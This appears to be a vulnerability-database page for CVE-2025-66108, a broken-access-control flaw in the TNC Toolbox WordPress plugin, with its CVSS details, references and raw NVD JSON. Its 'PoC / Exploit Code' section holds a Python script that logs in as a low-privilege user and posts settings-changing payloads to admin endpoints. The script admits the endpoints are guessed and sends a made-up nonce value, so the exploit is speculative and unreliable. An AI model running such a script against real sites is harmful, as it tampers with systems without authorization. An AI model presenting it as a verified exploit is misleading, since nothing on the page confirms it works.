CVE-2025-66108

Description

Missing Authorization vulnerability in Merlot Digital (by TNC) TNC Toolbox: Web Performance tnc-toolbox allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects TNC Toolbox: Web Performance: from n/a through <= 2.0.4.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

TNC Toolbox: Web Performance <= 2.0.4（所有版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-66108 PoC - TNC Toolbox Access Control Bypass
# Target: WordPress site with vulnerable TNC Toolbox plugin (<=2.0.4)

TARGET_URL = "https://vulnerable-site.com"
USERNAME = "low-privilege-user"
PASSWORD = "user-password"

def get_auth_cookies():
    """Authenticate with WordPress and get session cookies"""
    login_url = f"{TARGET_URL}/wp-login.php"
    data = {
        'log': USERNAME,
        'pwd': PASSWORD,
        'wp-submit': 'Log In'
    }
    session = requests.Session()
    session.post(login_url, data=data)
    return session.cookies.get_dict()

def exploit_missing_authorization(cookies):
    """
    Exploit CVE-2025-66108: Missing Authorization in TNC Toolbox
    Attempt to access admin-only functionality with low-privilege user
    """
    # Identify vulnerable endpoints (based on plugin functionality)
    vulnerable_endpoints = [
        f"{TARGET_URL}/wp-admin/admin-ajax.php?action=tnc_toolbox_save_settings",
        f"{TARGET_URL}/wp-json/tnc-toolbox/v1/settings",
        f"{TARGET_URL}/wp-admin/admin.php?page=tnc-toolbox-settings"
    ]
    
    # Malicious payload to modify settings
    payload = {
        'web_performance_mode': 'aggressive',
        'cache_settings': 'malicious_value',
        '_wpnonce': 'bypass_nonce_check'
    }
    
    for endpoint in vulnerable_endpoints:
        try:
            response = requests.post(endpoint, data=payload, cookies=cookies)
            # Check if unauthorized access was successful
            if response.status_code == 200 and 'success' in response.text.lower():
                print(f"[+] VULNERABLE: {endpoint}")
                print(f"    Response: {response.text[:200]}")
        except requests.RequestException as e:
            print(f"[-] Error accessing {endpoint}: {e}")

if __name__ == "__main__":
    print("CVE-2025-66108 PoC - TNC Toolbox Missing Authorization")
    cookies = get_auth_cookies()
    exploit_missing_authorization(cookies)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66108
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66108
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66108/
[4] VulDB https://vuldb.com/cve/CVE-2025-66108
[5] https://patchstack.com/database/Wordpress/Plugin/tnc-toolbox/vulnerability/wordpress-tnc-toolbox-web-performance-plugin-2-0-4-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66108", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:52.320", "lastModified": "2026-04-27T18:16:35.990", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Merlot Digital (by TNC) TNC Toolbox: Web Performance tnc-toolbox allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects TNC Toolbox: Web Performance: from n/a through <= 2.0.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/tnc-toolbox/vulnerability/wordpress-tnc-toolbox-web-performance-plugin-2-0-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}